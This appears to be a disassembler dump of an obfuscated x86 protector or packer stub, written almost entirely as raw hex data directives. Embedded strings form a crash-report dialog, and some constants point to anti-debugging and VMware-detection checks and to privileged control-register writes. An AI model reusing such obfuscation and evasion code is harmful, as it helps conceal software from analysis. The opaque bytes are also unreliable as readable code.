		dd 850Fh, 858D0000h, 616A07Dh, 8E9h, 3F598D00h,	3BB619FDh
		dd 6AD0FF2Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 84C9C350h, 51ACDBAEh, 958B98CDh
		dd 61423FDh, 30B1BD89h,	0A7BF0614h, 6A6549D9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 6D3CBAFAh, 57D08BF0h, 0E558589h, 0FF590614h,	14186995h
		dd 8BCA8B06h, 68F0FF3h,	8B000000h, 1423298Dh, 7D858D06h
		dd 0F0616A0h, 386h, 0D6BF0F00h,	6AD0FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 6A1847C3h
		dd 20D698B1h, 89D55634h, 14076595h, 66006A06h, 3BCCEA81h
		dd 8D895653h, 6141FB5h,	95FF5A5Fh, 6141869h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 86C35747h, 5DE7626Dh
		dd 0CE973h, 20500000h, 92DF56EEh, 5049CABFh, 0C08BADB2h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0B2C35545h
		dd 66F06F71h, 256B92F3h, 185BD01h, 0BD830614h, 61410F1h
		dd 83097500h, 140E25BDh, 19740006h, 0C08B5350h,	7D9B8h
		dd 19858900h, 8D061418h, 16A7529Dh, 5BD3FF06h, 25BD8358h
		dd 6140Eh, 53501774h, 7D9B8h, 19858900h, 8D061418h, 16A4419Dh
		dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 8B220240h, 1430D9BDh, 8D8B5606h
		dd 61425E1h, 6AC08B5Ah,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0F72C355h, 687h, 71952300h
		dd 8B06142Dh, 140D1595h, 8B0F5006h, 6, 0AE19D29h, 0D88B0614h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4BC35040h
		dd 90D9AE6h, 0FC89BE98h, 559D8D53h, 8B06141Dh, 8B038903h
		dd 43895043h, 819D8D50h, 8B0616FBh, 5B038903h, 281D83BAh
		dd 2830F70h, 8B000000h,	66006ACEh, 858DCF8Bh, 616FB81h
		dd 8B5005B2h, 14235595h, 0E9606A06h, 11h, 0CBDAC72Dh, 38333106h
		dd 3F8FF292h, 0BCC13093h, 55858D0Dh, 0E906141Dh, 14h, 0D984F299h
		dd 0E723F0D2h, 0DDEC6EB4h, 4EFBA50Bh, 61ECD2FDh, 0D9850150h
		dd 6A06140Dh, 0E9C28000h, 68F5006Ah, 1800h, 6A53F98Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 704EC355h, 796B965Dh, 0B993E102h,	1760FA25h
		dd 8D8D8B53h, 5A061411h, 311595FFh, 93BA0614h, 0FF0DA9B9h
		dd 140B7595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 60F61735h, 9FA87A3Fh, 9D890C9Fh
		dd 61417C1h, 0EE9h, 9DED4000h, 25025569h, 19C7F25Ah, 0FF5CD5F8h
		dd 16FBE8B5h, 11E806h, 0E5E60000h, 725B0330h, 2776D22Fh
		dd 0D30037DBh, 2BE1CB9Bh, 143471BDh, 95FF5F06h,	6140BD9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 6FC35242h
		dd 8F663470h, 37E98D63h, 6E92Eh, 5B260000h, 0D1F9E977h
		dd 1D55858Dh, 89570614h, 141BE19Dh, 408B5A06h, 5E918h
		dd 46730000h, 526D6CB0h, 2DA98D89h, 0C75A0614h,	14131185h
		dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0D1B11571h, 8B36D48Ah, 142FC9BDh
		dd 0D1BD8306h, 61416h, 25840Fh,	0B9660000h, 8C3D9B2Ah
		dd 0F000000h, 15B83h, 8D296000h, 614306Dh, 0AAA9D281h
		dd 0E961789Ah, 11h, 3DC8B70Fh, 98h, 13A830Fh, 0F2800000h
		dd 3B858D3Ah, 2B005B24h, 1404518Dh, 0FD0FF06h, 858DCAB7h
		dd 5B1E8Eh, 0E9D0FFF9h,	5, 42BD41D2h, 0B6C08BE4h, 0F1BD830Fh
		dd 61410h, 0BD830975h, 6140E25h, 50197400h, 0B8C08B53h
		dd 0BC6h, 18198589h, 9D8D0614h,	616A752h, 585BD3FFh, 0E25BD83h
		dd 74000614h, 0B8535017h, 0BC6h, 18198589h, 9D8D0614h
		dd 616A441h, 585BD3FFh,	3719D89h, 8D330614h, 6140C1Dh
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 632BB7C3h, 0F9725089h, 0FFFF883h,	4E85h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 619D89D2h, 1061426h, 140C4985h, 0D985C706h
		dd 6140Fh, 8B000000h, 1430E595h, 0E5E906h, 0E9F50000h
		dd 3Dh,	64A36BAh, 0A98D012Fh, 83061402h, 850F01F8h, 29h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 47C35646h
		dd 6919466Ah, 0D2E909h,	0B70F0000h, 0F19CE9D3h,	0BD0BFFFFh
		dd 6140CA9h, 0A6B5C08Bh, 10F1BD83h, 75000614h, 25BD8309h
		dd 6140Eh, 53501974h, 0DDB8C08Bh, 89000007h, 14181985h
		dd 529D8D06h, 0FF0616A7h, 83585BD3h, 140E25BDh,	17740006h
		dd 0DDB85350h, 89000007h, 14181985h, 419D8D06h,	0FF0616A4h
		dd 0FC585BD3h, 1820Fh, 0FF90000h, 381h,	0FBBF0F00h, 6AC08Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 96E3B4C3h, 20C58D29h, 5E90614h, 0F000002h, 680h, 0CD952B00h
		dd 8D061409h, 16F98585h, 6870F06h, 89000000h, 142E5595h
		dd 7D858906h, 0E90616FBh, 5, 75329672h,	3AE9C9h, 8D010000h
		dd 61411C5h, 0F78D858Dh, 95890616h, 6141719h, 4DB58960h
		dd 0E9061406h, 0Ah, 11E99F62h, 6EEBA7DFh, 40612F79h, 1C2D8D8Bh
		dd 85890614h, 616FB7Dh,	3145BA66h, 858D346Ah, 6142415h
		dd 7DB5FF50h, 6A0616FBh, 0DD95FF00h, 83061424h,	840F07F8h
		dd 168h, 0F6DB8C66h, 850F04C3h,	102h, 84985C6h,	68560614h
		dd 9CA8B852h, 0C2DB5FFh, 858D0614h, 6143B4Eh, 46AD0FFh
		dd 100068h, 6A646A00h, 89D0FF00h
		dd 16FBF085h, 4985C606h, 47061408h, 18AC9B68h, 2DB5FFECh
		dd 8D06140Ch, 143B4E85h, 0FFD0FF06h, 0C6F08BD0h, 14084985h
		dd 61684F06h, 0FFC62F26h, 142B25B5h, 4E858D06h,	0FF06143Bh
		dd 0EC9D8DD0h, 530616FBh, 0FF56286Ah, 75C085D0h, 4985C600h
		dd 41061408h, 87649868h, 25B5FFDBh, 8D06142Bh, 143B4E85h
		dd 89D0FF06h, 16FC0985h, 4985C606h, 4C061408h, 0A4E7A468h
		dd 25B5FF80h, 8D06142Bh, 143B4E85h, 8BD0FF06h, 16FBF09Dh
		dd 45B8D06h, 0F59D8D53h, 530616FBh, 0D0FF006Ah,	0FBF09D8Bh
		dd 3C70616h, 1,	20C43C7h, 8B000000h, 14347D9Dh,	0ED85C706h
		dd 61409h, 6A000000h, 6A006A00h, 0F09D8B00h, 530616FBh
		dd 0B5FF006Ah, 616FBECh, 0FC0995FFh, 85C60616h,	6140849h
		dd 0F7976845h, 0B5FF92A5h, 6142965h, 3B4E858Dh,	0D0FF0614h
		dd 26A006Ah, 8C66D0FFh,	4C3F6DBh, 9D8B3275h, 616FBF0h
		dd 0C43C7h, 6A000000h, 8B006A00h, 16FBF09Dh, 6A5306h, 0FBECB5FFh
		dd 95FF0616h, 616FC09h,	0FBECB5FFh, 95FF0616h, 6140B75h
		dd 95FF006Ah, 6141869h,	66FB8B66h, 7792E981h, 2E84858Dh
		dd 0FF50617h, 482h, 0BEBA6600h,	13E9505Eh, 19000000h, 0D385EE61h
		dd 0F72D1C8Eh, 0C50D9EC8h, 63175899h, 0FF644455h, 35h
		dd 0EA816600h, 89644A8Ah, 25h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 2FA0F5C0h
		dd 83CBB70Fh, 140CC9BDh, 840F0006h, 3Ah, 0AA85F5BAh, 0CDBD836Fh
		dd 1061401h, 28850Fh, 5A570000h, 9BD80h, 0F000617h, 1985h
		dd 68B0F00h, 89000000h,	140C319Dh, 1AAE906h, 89560000h
		dd 1404EDB5h, 0DB335906h, 2DC9958Bh, 0C0330614h, 38D0Fh
		dd 8B660000h, 3F0F40FBh, 8F640B07h, 5, 4C48300h, 1FE68160h
		dd 6152E538h, 71D8D8Bh,	0FB830614h, 10840FFFh, 89000000h
		dd 141121B5h, 154E906h,	37BF0000h, 0E95298F1h, 0A1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 2EC35141h, 0FB5C94B1h
		dd 532C37A7h, 1E458D89h, 0E85F0614h, 6,	53BEA2E2h, 0B9BA0768h
		dd 5F24CD5Dh, 0C244C8Bh, 0A481C7h, 0FFFF0000h, 8183FFFFh
		dd 0B8h, 0C3C03304h, 0C245C8Bh,	0E855h,	815D0000h, 172EA6EDh
		dd 0B8838B06h, 8D000000h, 172F9C85h, 0B8838906h, 5D000000h
		dd 8BC3C033h, 50006AF8h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 8B3315EBh, 140CC195h, 9C858D06h
		dd 6A06172Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 9FA5C351h, 6E595AF2h, 55006A50h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 7BAC2504h, 0D58D89A1h, 0E9061425h, 14h, 0AEA7ACF1h
		dd 31EF4114h, 0D7AC01BAh, 0FF49E35Dh, 0C68768D3h, 35FF64h
		dd 8B000000h, 141ADD95h, 25896406h, 0
		dd 8E0Fh, 0AB90000h, 0B8000000h, 4855D704h, 0F7816405h
		dd 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh,	0FB81ED00h
		dd 564D5868h, 85C70A75h, 6140029h, 1, 58F64h, 83000000h
		dd 870F04C4h, 1, 68D0FFCh, 9000000h, 14087D85h,	0FC08B06h
		dd 0BD83D7B7h, 61410F1h, 83097500h, 140E25BDh, 19740006h
		dd 0C08B5350h, 43DB8h, 0F1858900h, 8D061424h, 16A7B99Dh
		dd 5BD3FF06h, 25BD8358h, 6140Eh, 53501774h, 43DB8h, 0F1858900h
		dd 8D061424h, 16A45A9Dh, 5BD3FF06h, 9880F58h, 0F000000h
		dd 389h, 51E68000h, 820Fh, 8A0F0000h, 2, 0C08BD38Bh, 147E9h
		dd 400h, 392E3100h, 3031h, 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 2A51BD83h, 0F000614h
		dd 12D84h, 71858D00h, 500616A2h, 0A1DB858Dh, 68500616h
		dd 80000001h, 0A28195FFh, 858D0616h, 617302Dh, 37858D50h
		dd 50061730h, 6A006Ah, 0A1EF858Dh, 0FF500616h, 16A271B5h
		dd 0C995FF06h, 8D061416h, 17302D85h, 858D5006h,	617303Bh
		dd 6A006A50h, 1858D00h,	500616A2h, 0A271B5FFh, 95FF0616h
		dd 61416C9h, 302D858Dh,	8D500617h, 17304785h, 6A5006h
		dd 858D006Ah, 616A24Eh,	71B5FF50h, 0FF0616A2h, 1416C995h
		dd 2D858D06h, 50061730h, 304F858Dh, 6A500617h, 8D006A00h
		dd 16A26C85h, 0B5FF5006h, 616A271h, 16C995FFh, 858D0614h
		dd 617302Dh, 4B858D50h,	50061730h, 6A006Ah, 0A255858Dh
		dd 0FF500616h, 16A271B5h, 0C995FF06h, 8D061416h, 17302D85h
		dd 858D5006h, 617303Fh,	6A006A50h, 5D858D00h, 500616A2h
		dd 0A271B5FFh, 95FF0616h, 61416C9h, 302D858Dh, 8D500617h
		dd 17304385h, 6A5006h, 858D006Ah, 616A264h, 71B5FF50h
		dd 0FF0616A2h, 1416C995h, 71B5FF06h, 0FF0616A2h, 142FF195h
		dd 0A2E906h, 0BD830000h, 6140CA5h, 95840F00h, 83000000h
		dd 1401CDBDh, 850F0006h, 11h, 3169958Bh, 0C2810614h, 1CF8h
		dd 0FE9h, 55958D00h, 8B06141Dh,	0C2813452h, 3BD4C340h
		dd 0FC99589h, 0BD830614h, 6140FC9h, 55840F00h, 8B000000h
		dd 140FC99Dh, 4CC38306h, 8589038Bh, 6173037h, 0FC99D8Bh
		dd 0C3830614h, 89038B50h, 17303B85h, 0C99D8B06h, 8306140Fh
		dd 38B54C3h, 30478589h,	9D8B0617h, 6140FC9h, 8B58C383h
		dd 4B858903h, 8B061730h, 140FC99Dh, 5CC38306h, 8589038Bh
		dd 617303Fh, 2A51BD83h,	0F000614h, 0D85h, 0A5BD8300h, 6140Ch
		dd 68840Fh, 0B5FF0000h,	617304Fh, 3043B5FFh, 0B5FF0617h
		dd 617303Fh, 304BB5FFh,	0B5FF0617h, 6173047h, 303BB5FFh
		dd 0B5FF0617h, 6173037h, 3031858Dh, 8D500617h, 17306985h
		dd 858D5006h, 61420DDh,	3995FF50h, 83061412h, 406A24C4h
		dd 3053858Dh, 8D500617h, 1420DD85h, 6A5006h, 24DD95FFh
		dd 16A0614h, 186995FFh,	0C18B0614h, 0F31718EBh,	9B46h
		dd 4 dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 61733FDh
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 35B58BFFh, 81061734h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 39B53B00h, 0F061734h
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 0FC9858Bh, 18860614h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 4D95FF08h, 50061403h, 244C010Fh, 0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 0FC9858Bh, 0C60614h, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 6140FC9h,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 6140DF1h,	0
aLdLs		db '‹D$',8,'‹˜',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 0F185C700h, 6140Dh
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 0DA85C700h
		dd 1061733h, 50000000h,	244C010Fh, 0DE858FFEh, 8D061733h
		dd 1733D685h, 0DEBD8D06h, 89061733h, 23E938h, 858D0000h
		dd 6141D55h, 538408Bh, 9B46F317h, 33D68589h, 858D0617h
		dd 6141D55h, 893C408Bh,	1733DA85h, 0F3858D06h, 89061733h
		dd 14034D85h, 87E906h, 8B520000h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6000000h,	0C8D10630h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6300000h,	0C8D10628h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h
		dd 0C4A8B08h, 13E9h, 2D3CAC00h,	0A840Fh, 98040000h, 0D8321334h
		dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh,	8C25A5Eh
		dd 66858D00h, 89061736h, 1430DD85h, 8E858D06h, 89061736h
		dd 14089585h, 0B6858D06h, 89061736h, 142C3D85h,	8C0F6006h
		dd 4, 5B1CB966h, 0BE9C08Bh, 0F4000000h,	0F5019556h, 73566A37h
		dd 0BD837CCCh, 61410F1h, 83097500h, 140E25BDh, 19740006h
		dd 0C08B5350h, 40EB8h, 19858900h, 8D061418h, 16A7529Dh
		dd 5BD3FF06h, 25BD8358h, 6140Eh, 53501774h, 40EB8h, 19858900h
		dd 8D061418h, 16A4419Dh, 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 839D4F4Fh
		dd 0CF73BA66h, 0CFEE8166h, 66C08B4Dh, 8375E2BEh, 140CC9BDh
		dd 840F0006h, 0Bh, 265E9F9h, 6CBE0000h,	8C598763h, 0C7F766DFh
		dd 850F0004h, 253h, 7ECE8166h, 247B9BCh, 0BD83064Dh, 61416D1h
		dd 4A850F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 7CDCC357h, 3DCA8166h
		dd 215E96Eh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 66BD3DC3h, 6B74BFBEh, 0B9FF2B0Dh
		dd 3798B55Ch, 39BF9D8Dh, 0E8500617h, 0Dh, 0ABB0DB52h, 82C006A8h
		dd 14FCC170h, 6BA662Fh,	1C895A50h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BF0FCB4Eh
		dd 0D98166C9h, 860FC62Ch, 5, 4FA6D1B9h,	35FF643Dh, 0
aH37di		db '¹H3½7d‰%',0
		align 4
aJ		db 'j',0
		dw 0E857h
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0ECC35747h, 74D173F1h
		dd 0C48B8B08h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	70C35343h, 0CDFCE477h, 6A00EB01h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2445C357h
		dd 9E241E3Fh, 8BC364B1h, 58F64D6h, 0
		dd 0E804C483h, 0Bh, 0EB22C6F4h,	22EB0BDBh, 0BECF511Eh
		dd 7CFC6CB7h, 11E95Ah, 1EE40000h, 25B07523h, 0C098ABC0h
		dd 0DD2DD2E4h, 0B0C2B82h, 0DC840FC0h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 23DCC352h, 53A9C0B3h, 5AF18B66h, 7E961h, 9D030000h
		dd 8DF5B72Fh, 0AFBD8D5Bh, 0BE061472h, 24E01AE1h, 1B8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 5F73B7BDh, 0D7BF0F1Bh, 10E9E7FFh, 5E000000h
		dd 38C84157h, 0BAB8151h, 0D45839Bh, 57824DFAh, 10245C8Bh
		dd 0B8838Bh, 0B60F0000h, 0C8FE0140h, 0B08389h, 83830000h
		dd 0B8h, 0C0335F02h, 52006AC3h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0B63C3F12h, 53006A1Eh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 6172B2F6h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	18C35747h, 0DAE0C22Bh, 0DE476F9Eh, 880FC08Bh, 0Ah
		dd 4800Fh, 0BA660000h, 0BD83384Eh, 61410F1h, 83097500h
		dd 140E25BDh, 19740006h, 0C08B5350h, 40EB8h, 0F1858900h
		dd 8D061424h, 16A7B99Dh, 5BD3FF06h, 25BD8358h, 6140Eh
		dd 53501774h, 40EB8h, 0F1858900h, 8D061424h, 16A45A9Dh
		dd 5BD3FF06h, 0CE958h, 46650000h, 61105F42h, 6CC05047h
		dd 0BA51929Dh, 1D4F11E3h, 66C08B5Eh, 8B9CF7BEh,	12E8C2h
		dd 97F40000h, 0D02C8DACh, 54DE782Eh, 3404C1E8h,	0F98AF41Ah
		dd 58DF8B66h, 5820Fh, 81660000h, 819D8BE2h, 5991C0h, 8E96000h
		dd 44000000h, 0EBA92081h, 0FD4E958h, 6861FBB7h,	1634h
		dd 66C4E381h, 0F5E5B89h, 30FFC8B7h, 8B66F560h, 0E95F61F8h
		dd 0Bh,	42B0BCEEh, 8CDCED19h, 81B29BECh, 79A3CAEFh, 8128B277h
		dd 2E1344C7h, 0CE8B573Ch, 0DEF7815Ah, 807A485Bh, 805743CAh
		dd 8FBBCFh, 0E883D78Bh,	0F4EF804h, 1885h, 8E900h, 0C98D0000h
		dd 0B42146C2h, 24E9F5F0h, 81000000h, 3BDE090Bh,	0F38166B3h
		dd 97E995BCh, 0EAFFFFFFh, 0A5EC56FDh, 69EBA836h, 0CE72B1Bh
		dd 4653BCFFh, 0EBB82E10h, 8, 0
		dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0CD858B24h
		dd 8D061401h, 176BA685h, 8B088B06h, 100088h, 660A8B00h
		dd 89FC4A8Bh, 173B918Dh, 0D1BD8306h, 61416h, 0F840Fh, 6A600000h
		dd 7195FF00h, 61061429h, 0FFFFC4E9h, 728966FFh,	10CEC1FCh
		dd 2728966h, 5A04CD52h,	3B8D8589h, 0B58B0617h, 6173B91h
		dd 6610CEC1h, 8B027289h, 173B91B5h, 72896606h, 858B61FCh
		dd 6173B8Dh, 9D958DC3h,	89061413h, 140FC995h, 55958906h
		dd 0FF061400h, 14005585h, 4985C606h, 53061408h,	0B148D868h
		dd 2DB5FFFCh, 8D06140Ch, 143B4E85h, 89D0FF06h, 14297185h
		dd 0D858D06h, 89061734h, 14080185h, 20EB06h, 7 dup(0)
		dd 0E9000000h, 544h, 538E9h, 3DEC6800h,	51E90617h, 68FFFD44h
		dd 6173E87h, 0FD4447E9h, 407A68FFh, 3DE90617h, 68FFFD44h
		dd 61740CDh, 0FD4433E9h, 0C7BACAFFh, 0EAA3A443h, 138EB926h
		dd 3B72900Fh, 245968F7h, 0C1715BE0h, 0DC4BCFC2h, 0B532F6AFh
		dd 8D1A1E99h, 91FC007Bh, 0AEBE8D2Ah, 9E3555E7h,	316C671Ah
		dd 0FB3D4A1Ah, 0F779AE18h, 1D20813Dh, 0FFD3F0C2h, 138EBDCCh
		dd 0C36C9FFBh, 0D3F0C270h, 0E6858FF3h, 0DF9D438Fh, 18390594h
		dd 0F7000000h, 0F09285B9h, 0D5A34253h, 5F3F79A6h, 503449DFh
		dd 131ECCh, 0B9940000h,	53F09286h, 0A7D4A041h, 0DF5F3E06h
		dd 0D3573B49h, 316C6701h, 92A49819h, 62ADD3F0h,	0D4D1FC0Bh
		dd 0AADE3050h, 0B4CB2691h, 6AEE1E97h, 0F092D063h, 0F91453D3h
		dd 1B9A98BCh, 0D3F06224h, 0C090ABAFh, 0D0E97B7Ah, 0A501134Fh
		dd 0DF07A8DAh, 418CF414h, 0B6C5496Dh, 0DCE1E9BEh, 388509D6h
		dd 261D9191h, 0DAD22044h, 0D34E7D0Bh, 0F09FE752h, 1A187CD3h
		dd 9D660CA9h, 8B8FC9DCh, 9D0B3273h, 6EE9D5E4h, 9825CB07h
		dd 0E3710BA8h, 0AD0AC6BEh, 0D5E40D9Eh, 0FBFF3115h, 2FD85AB6h
		dd 62h,	1B618085h, 0D4F675E0h, 0EF25A1D9h, 0DF5EC5EEh
		dd 0E11A7E49h, 0F135689Ah, 0A5A25476h, 5074D0E8h, 134942CFh
		dd 0FCCE3E69h, 323h, 0FC007B8Bh, 0E72B6263h, 0CC504D78h
		dd 0BA7E3553h, 9F631E2Dh, 7B8A381Ch, 68650206h,	527EE92Dh
		dd 3254D357h, 67DAB77Bh, 0E7AF0BC6h, 414B8855h,	2EE2Ah
		dd 6C674000h, 3FAA1931h, 0F09243FEh, 0B67CC053h, 0F09278C7h
		dd 93C78653h, 0B3953F0h, 0CF53F092h, 191B92B0h,	0F092A19Ch
		dd 92E05F53h, 2F1E53F0h, 0E813F092h, 0DF587319h, 89DF8379h
		dd 67E8EF2h, 3D7A91E7h,	8FCA6759h, 397495D2h, 0ACBA7701h
		dd 0B68A179Bh, 38739592h, 9F608400h, 0A2FFA11Ch, 8826F464h
		dd 0E0000002h, 0FE69ADE0h, 0D34CD0CDh, 0AE39FDB8h, 8621E5A0h
		dd 85060A87h, 0A9E4E353h, 0D0CDFA65h, 0FCB7D34Ch, 0EE9DAF38h
		dd 0B3FC4F2Ah, 55E7AC80h, 67CCF003h, 95063665h,	0CCFCB9D6h
		dd 9263DE5Fh, 9CE053F0h, 0E302BA78h, 0E3396695h, 5049DF5Fh
		dd 0C5328ECh, 27129301h, 0BC55E7AEh, 0A17EB4D8h, 89D0EBA6h
		dd 0EA18077Ah, 0F53F9BB3h, 0EAA7A23Dh, 0ED9B6AD2h, 630351DEh
		dd 8EC04FC8h, 0D183F720h, 20E40853h, 0B8F5146Bh, 8F0E0480h
		dd 5FDEA8B0h, 0A4DFED7Ch, 9A1B3094h, 5FDEA8AFh,	0DAD22024h
		dd 0E14E7D0Bh, 45F165BFh, 48BBD0B4h, 2A8B0F31h,	41B5E41Fh
		dd 7C8CB094h, 9CACE7E3h, 411E1438h, 0CC3F4C3Fh,	0F9118CBDh
		dd 0E4ED5C9Dh, 0E26641B5h, 0C5C76010h, 5767222Dh, 0E488BBE4h
		dd 70B41B5h, 6ECFFFE3h,	41B5E4CFh, 98B3D928h, 9A29DD1Fh
		dd 0F90A515Bh, 2E5E4D7Fh, 127686AAh, 6F9CE000h,	0FA8EE10h
		dd 4BAC203Ch, 6BAFD3B7h, 0B8D3CAFCh, 3BEDA0A1h,	0B881D614h
		dd 6D59DBFDh, 0AC5161CCh, 0A327C64Bh, 13C2DDE9h, 9E15331Fh
		dd 0A2C6EA6Eh, 69DC0CA9h, 31155183h, 4A41431Ah,	21BFB5C6h
		dd 0BC667E0h, 884D8389h, 46DE9284h, 0F043EC1Fh,	734D83BDh
		dd 3456050Fh, 37324279h, 28596F1h, 0C7430C2h, 17C8FFDh
		dd 836695A4h, 0FD2A2E4Dh, 5DB9D1CCh, 0D4BD4D7h,	0E657ACABh
		dd 74CB6A62h, 96777BA3h, 4E2EDDABh, 0B2536B0Bh,	66749B60h
		dd 0AA1FF8B8h, 55484706h, 9053A125h, 13h, 7F86B91Ch, 28EB53F0h
		dd 0B8000000h, 0D2EAA5A1h, 8BBABC76h, 60E2CBFDh, 0F406A223h
		dd 0CFB2D8Ch, 5C59DB19h, 53F00EE1h, 0C675B22Dh,	5D53F002h
		dd 80313BF9h, 47E01B61h, 49DF5F1Dh, 0E25A72D6h,	0D9467503h
		dd 4FCB7E79h, 189196FAh, 6062FF16h, 953A08h, 0ED1D0000h
		dd 0D0F16EB2h, 0C3CE59DDh, 0A7A542C6h, 90BF28ECh, 0BE92191Dh
		dd 8084F908h, 6FB3EAE7h, 55D9D4F0h, 41C5B8CAh, 0F948D554h
		dd 7A55E7D2h, 6180D7D9h, 1D47E01Bh, 0D649DF5Fh,	3E25A72h
